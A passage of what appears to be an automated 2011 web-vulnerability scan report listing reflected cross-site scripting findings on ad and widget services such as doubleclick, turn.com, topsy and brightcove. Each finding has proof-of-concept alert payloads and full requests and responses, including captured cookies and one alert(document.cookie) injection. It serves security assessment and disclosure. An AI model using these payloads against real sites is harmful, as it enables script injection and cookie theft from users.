User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Thu, 10 Mar 2011 16:45:05 GMT
Vary: Accept-Encoding
Expires: Thu, 10 Mar 2011 16:45:05 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7037

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
sf3cA7oBCTcyOHg5MF9hc8gBCdoBOmZpbGU6Ly8vQzovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4AhioAwHRA6UdSeRjy2TM6ANs6APUB-gDwQfoA9UF9QMCAADE&num=1&sig=AGiWqtzNnBgIlsjs7mSmiiLAu_ySFar1ugebe5e"-alert(1)-"7b2a3fedccd&client=ca-pub-4063878933780912&adurl=http%3a%2f%2fad.doubleclick.net/2493053/redirect_nexuss_gdn.html");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var
...[SNIP]...

2.7. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b7470"-alert(1)-"05fd012cf34 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=lb7470"-alert(1)-"05fd012cf34&ai=BAENoyPd4TZ7sN9X0lAeTivDnB_GQ74ECga7P3B7AjbcBwJyyARABGAEgvs7lDTgAUMTE0OECYMnm9obIo6AZoAHXsf3cA7oBCTcyOHg5MF9hc8gBCdoBOmZpbGU6Ly8vQzovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4AhioAwHRA6UdSeRjy2TM6ANs6APUB-gDwQfoA9UF9QMCAADE&num=1&sig=AGiWqtzNnBgIlsjs7mSmiiLAu_ySFar1ug&client=ca-pub-4063878933780912&adurl=;ord=1648973795? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1299795013&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2FSM_7.2.3925_File2_Burp_1.3.08.html&dt=1299773413750&shv=r20101117&jsv=r20110307&saldr=1&correlator=1299773413772&frm=0&adk=1607234649&ga_vid=2011621435.1299773414&ga_sid=1299773414&ga_hid=15489387&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1075&bih=949&fu=0&ifi=1&dtd=54&xpc=XwwY3tlWp2&p=file%3A//
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Thu, 10 Mar 2011 16:44:13 GMT
Vary: Accept-Encoding
Expires: Thu, 10 Mar 2011 16:44:13 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7037

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
l = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ac6/f/194/%2a/e%3B235864053%3B1-0%3B0%3B59652986%3B3454-728/90%3B39730864/39748651/1%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=lb7470"-alert(1)-"05fd012cf34&ai=BAENoyPd4TZ7sN9X0lAeTivDnB_GQ74ECga7P3B7AjbcBwJyyARABGAEgvs7lDTgAUMTE0OECYMnm9obIo6AZoAHXsf3cA7oBCTcyOHg5MF9hc8gBCdoBOmZpbGU6Ly8vQzovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4
...[SNIP]...

2.8. http://ad.turn.com/server/pixel.htm [fpid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.turn.com
Path:	/server/pixel.htm

Issue detail

The value of the fpid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de360"><script>alert(1)</script>924b327da15 was submitted in the fpid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /server/pixel.htm?fpid=de360"><script>alert(1)</script>924b327da15 HTTP/1.1
Host: ad.turn.com
Proxy-Connection: keep-alive
Referer: http://www.runnersworld.com/community/persona/index.jsp?UID=8381023245&plckPersonaPage=BlogViewPost&plckUserId=8381023245&plckPostId=Blog%3a8381023245Post%3abb649e12-3868-43dd-b515-23f9a69f8636&plckController=PersonaBlog&plckScript=personaScript&plckElementId=personaDest\6b663%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d424413273
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: adImpCount=gBDNuKNyKsl9Odgd8wAsQTKysbuTZf2s5M5FD_CAAB7DlGIUOWYS4TNj-1gj_Xcu6CYQDDQa1VL94yX_MoGpV_GUt1ksyvX1In61OuSwLt10u9X24kO-JCULGTAtCiI82oACfqCIYQ-ERdvzbQ_bSmzG5dlloET5SP593yLAYUYzCAmv0Bkl4LE-5xiOhqqU5hzUx6VAO2k6m2QQxK9K08oG9BkcazYcP_2TrcEOQP3WiKBAOiVD6755T8m0f3BSo_YLr4EKIQlY-CdWF8ITS28_IvRz2JEsIjhRKl0lPa2LXPx_rEG03BIJwC5BX6NRjN1OhEClvNCotpoUoTVc7xvpANZVmAjLpguK-shoxo4dbNA6MY7kRMgbXMy-D477nELWUQ0Rw535KLqcq4q__J8WOoC21eSuP4JNkyvRABQFijVgU7PXn0jHxkPCNv4bOyUPC9Fpm7etzgvO_fmrPkooj63m4sjCGxUC0pM2SLiq9bBec_QkIP-JoLdM2w1VhZ21JrK1wBbfUDbEfzxZmaJD4c5aSaK33YzyKwwYBCqCQPyKSyeLLFNGI5yEMkfIKVPRVzGG23OkJv5AMKUTaqg_u8mtM46FV1h3QfJdTZWUFE9U6EKcwdjYdcVNUkvIeogMyqtOxBjt39bKPXzgmmxBsnrLbTgBzBVNImszQJKvw9LgipyjPoHCcfZrpUai4JLuayTba8oiNq_XhSPmwx5GmgUQyfnbOd2w3kmx8qvNHk6KDzwAPsyOISbfg6MfRpzV7LM6J13WDlxXaw0dwtaogoecLkh5Gdwzns6PR3AwgCiTm-xPyon8eQDhlKvugIXAKcMPhEbqI-V9Sv3eooMsNg36di6E49Nomd6jTU9egCSRMS98UFVNYjVtQ4urBK3FjPWZ3Di0FOD2Kcxr-k0OB82HjViKXqLuoMNTyWQcXhNTrz3mr8sow7iQNpitGHAyXWEYyGBykEoLQhmrWNoPJC71oS0hJqlJnrpnGFhJzhvWSyFYd2BWpLKYJlg6-W5HTVi_oOco4RQh7z9_-JaW43Pz5VN0dvHJoxbNVZ97tpG9XttSdPWXi0z6Jg6IsnTvMmWWDNqbkX3hH8mhIYBK7MGRBOeR1YzcCeyMpDmJ0VuAHXPcV73Qns4O__Jj2lJ6ZKhH3VM3BvZ2PJZeyo_K_w_o-V6MIHko5ImHHJbecjI5VdlIWmt54cjQRcHYMQPwiCOVkrMyS-0aX55fmlk35l0spUAw8t8ZqIkxNj8MPYazz3rO03ATWFwaY5i7iStqAsWbZ7YUH8GSY7-t_J4r25-aiikPN2qEVv7TRiqUvlZaM8XFIBijkSFeg2zGD4fdRlNM5LTzq4xWE1ZK--LAz8MzOM-C6CDT3q-ifKpEezhVQTYte5F3-FeYiKlQRaZz7xWCD_yX14N-tT3hfO0kAXszpV0W1GkBMMS3Gw0HTCum57pWAGCiPcC_Z3qGFfLVq6mopJGWBFdzU_rmPxWIBEzIt_I5ABOElN7-o1N0L93nQNnHmE-8Xu8-ECY9xLe3lcSfWb-KhRGhyVysbsZk7iyEoz8zA3JQ2C9OfjxiW2aYr0a3K5tIEMzcXQPpur3bq3Thm6_2RS_S2g9W_7fY1zc1K0WPlL98x7sL6KENQXMr7tOj0tStdl9JeUiMHFtb__DUdwj-uP98hpbTt4roaMGQuQnD9agQHp-xH4Jafs6FBmb98eQD_cOP3DvEMi6XhBSdavl4LR2MIjmTF0mh_AG_jc7gjylPqQCeipADH7ZUYz5xSIAGz8ZVdz_gI_tGwcmLB8JEgvxf4yceK-ytsejiDtfYk-vq9YFwucMhc7pp4fbrfTAG1AhqWCVhGwlgeOqlB-BkyxJ1zDSGE0snnnxI1S7YTiuj-fGScF4oQVIZccBuiROOGCDUYKGlYL_kqGR8obvHHZk267UOKXgsCO18tJuj14RjnfWV9JCCZksmnBPhOpWQIIbDrQeMFzQrFDQzzgYAL9AjXWyagDxRnYrN-9pjuSYDN0EVr-A1pVfxWPrW29xmD_ZeGx-AE82rXSYVcjz2J0squiYwC1lSTDghv5hxN42WTZrbBPUWmCi_6M18neu_Vazros1bDD1RMNP69o628EHNgUTgy0PfHqtb-SYVZWNt6hO30_te5Eiua7R-LT6r8oudwmlo4u1rDUlsabP08_i0966mykYBmvFZvHLkAa30wkjTumfXaFDIfbonZq657eoULxrE0KDvfmac-lNvjOsoiUlf13KH2StPZs3JjeWcrw3FmAmZ_RtseJ6xozjuP7ZdQwIEpp8nLCbAQOxgA2x5FvD72qZzxdn2BHj2pHFYtOY7bzwWmWsNvLyU_XSNqO1BDG83X80DgytqEg90YRZxOOi-Q0rmjkPfMOEIgGA-K9y-Zc4tR7KRJlpJ4PlVYxVaMvB1wYPNMfFs382zN0o7uzcPmdNK1_b3Ua6Vc0GyYGzFgDpNxONxibEN5pV6-d_sBzVLRBMFYCWf6caSG4LvO5wFQK5rWe8X_fTtzfSXBh6egF0Rwa3OCNWzkU-61-zDsHD8uqSEGm_zHYk1Lx3D3zdxfoViaQ2DOWdSRXMqAXHjE1bj46PH61xKbR-SCeq4p4CAvfxI-56aT45lrDgMry2PNxuYVt3awaDu13VvFwpGzs06VQoe4DVxSHVvfrsSQMYWsxPY7alAyM08Y81chhsaFrvpqC9YhigzHku7t4ADij4Bw7EVtWzromyqquGZ7KVTTEQszed-lC1fMtCjU1z2xJ1CnZG4LQk8JxaWG0f85jA_1_EgfGzLymJqXqxDkl_z6MLzU6M9nX4-GUSLU2nvHNtoJlouXD8ZYi9DnZrOv6fUoZGFDgLSYVRUaQ-Wqmj3Tei_CdEkIQzkhmYyekerLrx9FrOtoxmBIEIaEp5KqP8jd88N4SLrpWX75qPcPWilpSsIABAYe0PnXbtU01VUbzTE76SN2br5p6VEXJlHEcVqa7s7pI24wvVlZWelsG_swcmrkZNllXiyt69BIY5KH70UEviYerZeVNNKkpbsXiR6Sun3kKaXxA7raRqYLrVBWPKJ4cYHaESEng8GxJ7c7_83qI2KkIKG8gPGwoFkVm7IMVTuQueBCC8E-DRc1jh5bznh7BOOaG3LFaFrDxbQguDVYtQ8E9kG41oci0hMyGPNDNYChhIU2SM-p93HtlelH6k8ZGZ9nInahZ1BmsDoTBButUd9vgmil7cXXXfT6KV3aaEupqcZ9U4B3wCLwXiaLjGOznKQN2fXE5YYm2elYiZf3N9hm3IU4-yhSvbDCYg23HEA0KbM-xv4ELaLtSRShf0UMkiZR4NHAE0AveeA8Od6uUEN_o-A1cEo1GBBE34wNgkMQOaX-ISsqxHKtScufiDGDFsr9zy3Wkv1Du64b3_CXR0nvouK2wr8mFPHCrur0quGluzBKZVWVHUrVyrSTcpi1qL8jLHo7PL51CfPsP5BkHuAnw4dd_nuCuXKeeOhPEegXpshkW-21H-LVw_kXbBwJ1IK5XZLAb-8EOvYR-BHV151XTPMJca60BfG9XaYHcjUsne2Ci3TfaGg1576UZ7-P2Tufjq7ydXKpAG1gOCnsXVPO2QWKa2hO56wnpU2kdj1scl_syvmA6j_Le8O; fc=bFQxMilhpzlWLYP_sXBtIYFmw5EWfjbh1eOA1sz7ZRCXg1SDiQ1wNQPvEsHDR6r4QRgl2iHtGb0XSne6Zh5vRr3wc-cQ7FRKnITKYzO3zYV52dhK4dSErN9-EcLOAtq0; rrs=undefined%7C2%7C3%7C4%7Cundefined%7C6%7C7%7C8%7C9%7C1001%7C1002%7C1003%7Cundefined%7C1004%7Cundefined%7C12; rds=undefined%7C15038%7C15038%7C15040%7Cundefined%7C15038%7C15038%7C15038%7C15038%7C15038%7C15039%7C15039%7Cundefined%7C15039%7Cundefined%7C15038; rv=1; uid=8392341830659049202; pf=2dy1dfRhJs-YELtwZsFipd2Q0WpRShVuTai2eGzATQXbTkFpgCGAsBUDX1lejLCOR5RMeCwKggjWXFPcmgjoVaVrMHNz69PQaa43GVLHMAhUSfvVuGydQIdBMZHnuDislLDHspzhTzFsVvdpNNxtj1TwZsGxYDrojBQcX4SzgoUPRtJJrJCkPJ19RLntPbWuVElzdE8iQNcR2EX18MZOehaWANzM9K51ZAJeZ2JML9Bhc83I5SF__AukTuB2ekB87BpYSwFBeihWaIMeEUa2IvSDYVe3hgq5no4nY-zsklVdl9bH_d_PoDuU3LoB11-dEe6-apwy5F8opaz7NB9fMxyiGG7W2xuBvf-vbv-Xy_8HiyH59Ab7hXp8vDXz4mwww8yVG-RXFIQCjN94aUN2WNdGtecxcKbowzItSpEchaR2vHgI_YvpK-yPFSQwk6X28oWfJ2ABsI_HZq8kn3Kw5sgCuZrZckZila5SojXxmRF2uSSHjcdvI4iAXyEa431UPeGSaMCrvSqzXNaJFuoXW-kL2cCZnqhG6GGhR0kiCV0rDu1HvYOqcQLOUlBgN0JAYsJElj9Y83gaOa3OhfsCmuVMDTjIBYS8D-V1Auqq6zcs_kWtc7lTCoJNKPCT11aeUx3JVtaQpjqwE9Cq-LU0W97H4IvJFJQADrD8pqGRHfUARjkJ2YqQ3HohDVxKU638wJdC14RvTJGZJ8_7I3-Cjfj-eoImMIFKC9iGehTkwam4P0G1FPqrhI13GnBDeFcARlNNYA8VZYJj2Gg_p1LSg1qqJUVZfRXXsqWOCbbO1xBl-UrBM1D6w4MWmKotM-pp1Er5ij1Qv-WE2etJ3E5zq3-LzpOXRPpYMOzqIBD92Zj0fiBVoohuPzb27Y1PwD7woGN0iwFUMB1dsxNV-ffZMPhieLh8wLF-VHhmCpgCBt2RP5NM4jyhWX40nsc53GcUujh5wE0j4RBGoYH5mulVF1K8oQDxkG1cQ0OCxT6sxJ82tx2Cj30WHMohkbcdj8gxrxcSnois1B0ey-njZ4qhrAvk0VTPCzz74eCf2xhjY7maQ8tiy_OXClTFQQejogxaKzXltpQEEAUagcDEygySvANVj-l-i4N5SJqfgyilnbMTg7jurYyyV2jhTgY8gPaBZzRmYBmq6tQ6NrUts2-2BysUlW5jkoXiuxpvsNoaauKgIraAddorlo54FgUCfbmUrBz3pFTu2nm3ESq2goJc1NTbdPXrdeUP6Q1QifSbXGX18rITUd1J8vw0801wJdac8MOJjKfcTgJpm-GmaXaCmU2VxHkGXRDx-yHaA27d32hRPYrUB6O4Pnwzxy1bYzIZ7VcXyyniGIvYRYN1qEHfS6nugBQPiDUozvV5-J_TBpYa45haMGvM5roHDRidNYjU-GgfcXUhDNragxnxBP4bcSA4WEYBdyUFQTofGXQAkzI2ldRuvmpuQQxFEYmAORaIZfYnxWNyrleTk5EU5fKfZ4kdPxAJvZ5JtDBPByEQQqXzxqD9u64bmH2WpMRMmb7w3AqV-qMMZI6Pp98s4YPIN5BUmKi0RluHeEn_ZddQQa4XTfXPIgM1Bl9zEVHf_H2GLHJ4ixiTecT6uwoKCJ5tuF_KkTMTrp8S-7oSq7eWb8IQ5VTa40VIp7jgGh2gTJIu

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="http://ad.turn.com/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0
Pragma: no-cache
Set-Cookie: uid=8392341830659049202; Domain=.turn.com; Expires=Tue, 06-Sep-2011 22:19:33 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Thu, 10 Mar 2011 22:19:32 GMT
Content-Length: 377

<html>
<head>
</head>
<body>
<iframe name="turn_sync_frame" width="0" height="0" frameborder="0"
   src="http://cdn.turn.com/server/ddc.htm?uid=8392341830659049202&rnd=6966717148317790486&fpid=de360"><script>alert(1)</script>924b327da15&nu=n&t=&sp=n&purl="
   marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true"
   scrolling="no">
...[SNIP]...

2.9. http://api.bizographics.com/v1/profile.redirect [api_key parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.bizographics.com
Path:	/v1/profile.redirect

Issue detail

The value of the api_key request parameter is copied into the HTML document as plain text between tags. The payload f72d8<script>alert(1)</script>28031e810f8 was submitted in the api_key parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/profile.redirect?api_key=eff06988d5814684997ff16c58dc2e1cf72d8<script>alert(1)</script>28031e810f8&callback_url=http%3A%2F%2Fdts1.raasnet.com%2Fdts%2Fbizo%2Fin HTTP/1.1
Host: api.bizographics.com
Proxy-Connection: keep-alive
Referer: http://www.rodale.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BizoID=a1177894-f476-4957-80ae-6dca795c7582; BizoData=NZk5vbu0VxC8JipceOZmBRNQb1MaQBj6W9sWr87GbT1F2VrCIGNp5RVO9z4XipLmXyvHipHCqwrNYRQ5ASb5kMise8Pxt51dGGWc8QDWgjPLhdOG36lSisWrtgLaaSVnj2fdRBcVnCpgzxiiGG36lSisWrtgKQAGh0CtrorNnZzJ6mTbYtlIspvrRHB8bzYus0MO9AJQ9klML90GpK80xK9r5TpCeAipqZpPwjKnistQch1TtSdCipN6mK3CUii1HWejxSM8P3E9CsIyx2KVipBsQrpnSjb2ENNS7GUK75TS3bJ0RsLv7isbmBSYVr2mcVbHisJ6ipYWnnQcsOceLYL7xBRFxKFdLqmZqVuCxNVxR9ESVdFipXOuvVwW11pRw3kybarrhisjKIfUU0elPDSis2guzkT2eqhlmJEDBn8LipG8voHPDPbDLax1KKSKoPv3akGJg07Xisj9z1YKu1NBis8T7j4VRMZDSux1LRdbvQME7fb528daHNJfkisPgGK2RSvdeUD9bvQME7fb520g33buvrQmtDwJR0SvlcgxOZOtWnisXSxxMhQn4sBPBisTo4YEiiYHam60Lr24SUTAXbskI6KiiPUqFH1r2Q7eRaFl39q8flhoInmtRaNDMdjO4e7XqdIDERIqPwhcbmvmZOisnclRRmEpGr0KwjLHYpX4NWnck1gtWcIXXLqdtszoE70KwjLHYpX4F8pJFEZG8Dt2Pkc1sv6c5ZV6jeN2HpSfUPZJTCisdBqSvNMSvaipU6QngPqmaT8Iyp5qkRIUt1qGDVcfhLmRsZN0mIUUYBnO5VrNlR3nLMBjv3TYgoKKSUPXtWXYC4ipisishWx61isSNkyistIItejAyV410ipNN9QFd9eD4PtZiidrsAhJaXIkrSiskUQGs0P7IwouzyiiCDECcwRmCZKPhsh12kQb9NipQisOs69PoecO0ujFerSeGafW9Mjb0uYNPFRdglDYuCjBqWZtThWhSii48NipADZiidrfMyxSuQgpBUmIZW5WzENkGacByoBjycateipx4n7q1sZv9ZvdCtsgTxis7W3iioxZSDipzHisOWeA5uCwcaIYpAt5pDsJsAtM5G1Mknjis1vlkTx9Mqhg0RN2nK5B29oiiex3ln3hiiYfpCN19YGFoLfZOJEe6dtyocipahCisRMEfrisHVpkJTXRisQgr8utIkbiiZtgG8YZLCXSY4OdXcii78AWA1xmxesM97m5CLipH6upZ3ii6GBVV9cmMDJUii4JiiYSisYtVEQGCLaCCXe5U1WipCeXjQ0vk7P79sgiiyscS0iidya7Dj6a6sACrHiilMkLAm3Pyx9JAwisip86B4jYMtEuVaa2xnO7FtuoxNNn62RDkcGtrtYyeC24uHAKNOKgj7hpTdfUw1nL2dz0DyOwplLDwM7yOZZz1TMZ9xwxZjgkKAiiVjp9Ty5ywcAieie; BizoNetworkPartnerIndex=23

Response

HTTP/1.1 403 Forbidden
Cache-Control: no-cache
Content-Type: text/plain
Date: Thu, 10 Mar 2011 16:44:30 GMT
P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Pragma: no-cache
Server: nginx/0.7.61
Content-Length: 92
Connection: keep-alive

Unknown API key: (eff06988d5814684997ff16c58dc2e1cf72d8<script>alert(1)</script>28031e810f8)

2.10. http://button.topsy.com/widget/retweet-json [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://button.topsy.com
Path:	/widget/retweet-json

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 6064a<script>alert(1)</script>69ba86fefe3 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /widget/retweet-json?id=topsy_id3-3-1-5-13-23-11-1&url=http%3A%2F%2Fusat.ly%2FgZGKv3&callback=topsyWidgetCallback6064a<script>alert(1)</script>69ba86fefe3 HTTP/1.1
Host: button.topsy.com
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Cache-Control: max-age=5
Content-Length: 540
Content-Type: application/javascript; charset=utf-8
Expires: Thu, 10 Mar 2011 16:46:39 GMT
Last-Modified: Thu, 10 Mar 2011 16:46:34 GMT
Date: Thu, 10 Mar 2011 16:46:34 GMT
Server: lighttpd/1.4.26
X-Cache: MISS from 38.button.topsy.com
X-Cache-Lookup: MISS from 38.button.topsy.com:80
Connection: close

topsyWidgetCallback6064a<script>alert(1)</script>69ba86fefe3({ "html_id": "topsy_id3-3-1-5-13-23-11-1", "url": "http://yourlife.usatoday.com/sex-relationships/story/2011/03/Washington-DC-ranked-top-Twitter-Town-for-its-social-networking/44700538/1", "count": "2
...[SNIP]...

2.11. http://button.topsy.com/widget/retweet-json [id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://button.topsy.com
Path:	/widget/retweet-json

Issue detail

The value of the id request parameter is copied into the HTML document as plain text between tags. The payload 2ddb4<script>alert(1)</script>1075e4b5c4c was submitted in the id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /widget/retweet-json?id=topsy_id3-3-1-5-13-23-11-12ddb4<script>alert(1)</script>1075e4b5c4c&url=http%3A%2F%2Fusat.ly%2FgZGKv3&callback=topsyWidgetCallback HTTP/1.1
Host: button.topsy.com
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Cache-Control: max-age=5
Content-Length: 540
Content-Type: application/javascript; charset=utf-8
Expires: Thu, 10 Mar 2011 16:46:37 GMT
Last-Modified: Thu, 10 Mar 2011 16:46:32 GMT
Date: Thu, 10 Mar 2011 16:46:32 GMT
Server: lighttpd/1.4.26
X-Cache: MISS from 21.button.topsy.com
X-Cache-Lookup: MISS from 21.button.topsy.com:80
Connection: close

topsyWidgetCallback({ "html_id": "topsy_id3-3-1-5-13-23-11-12ddb4<script>alert(1)</script>1075e4b5c4c", "url": "http://yourlife.usatoday.com/sex-relationships/story/2011/03/Washington-DC-ranked-top-Twitter-Town-for-its-social-networking/44700538/1", "count": "231", "badge": "1k", "trackback_url": "htt
...[SNIP]...

2.12. http://c.brightcove.com/services/messagebroker/amf [3rd AMF string parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://c.brightcove.com
Path:	/services/messagebroker/amf

Issue detail

The value of the 3rd AMF string parameter is copied into the HTML document as plain text between tags. The payload abac2<script>alert(1)</script>71864f41a7 was submitted in the 3rd AMF string parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /services/messagebroker/amf?playerKey=AQ~~,AAAAABmSxQc~,497DR8qMzMu1cSa2IHyZJwozOiERaBVX HTTP/1.1
Host: c.brightcove.com
Proxy-Connection: keep-alive
Referer: http://c.brightcove.com/services/viewer/federated_f9?&width=300&height=280&flashID=myExperience772399363001&bgcolor=%23FFFFFF&playerID=30292868001&playerKey=AQ~~%2CAAAAABmSxQc~%2C497DR8qMzMu1cSa2IHyZJwozOiERaBVX&isVid=true&dynamicStreaming=true&wmode=opaque&%40videoPlayer=772399363001&autoStart=&debuggerID=
content-type: application/x-amf
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-Length: 587

.......Fcom.brightcove.experience.ExperienceRuntimeFacade.getDataForExperience../1..... ...Q078a58ad26175eba8c3cc45a5246eb076e00e84e
cccom.brightcove.experience.ViewerExperienceRequest.deliveryType.ex
...[SNIP]...

Response

HTTP/1.1 200 OK
X-BC-Client-IP: 173.193.214.243
X-BC-Connecting-IP: 173.193.214.243
Content-Type: application/x-amf
Vary: Accept-Encoding
Date: Thu, 10 Mar 2011 16:41:14 GMT
Server:
Content-Length: 4106

......../1/onResult.......
.C[com.brightcove.templating.ViewerExperienceDTO#analyticsTrackers.publisherType.publisherId.playerKey.version#programmedContent!adTranslationSWF.id.hasProgramming+programmi
...[SNIP]...
........eAQ~~,AAAAABmSxQc~,497DR8qMzMu1cSa2IHyZJwozOiERaBVX. ..videoPlayer
sicom.brightcove.player.programming.ProgrammedMediaDTO.mediaId..playerId.componentRefId type.mediaDTO
.Bfz..w ....gvideoPlayerabac2<script>alert(1)</script>71864f41a7.........
.cOcom.brightcove.catalog.trimmed.VideoDTO.dateFiltered+FLVFullLengthStreamed/SWFVerificationRequired.endDate.FLVFullCodec.linkText.geoRestricted.previewLength.FLVPreviewSize.longDescription.
...[SNIP]...

2.13. http://ds.addthis.com/red/psi/sites/www.prevention.com/p.json [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.addthis.com
Path:	/red/psi/sites/www.prevention.com/p.json

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload a3993<script>alert(1)</script>e17c06a897c was submitted in the callback parameter. This input was echoed unmodified in the application's response.

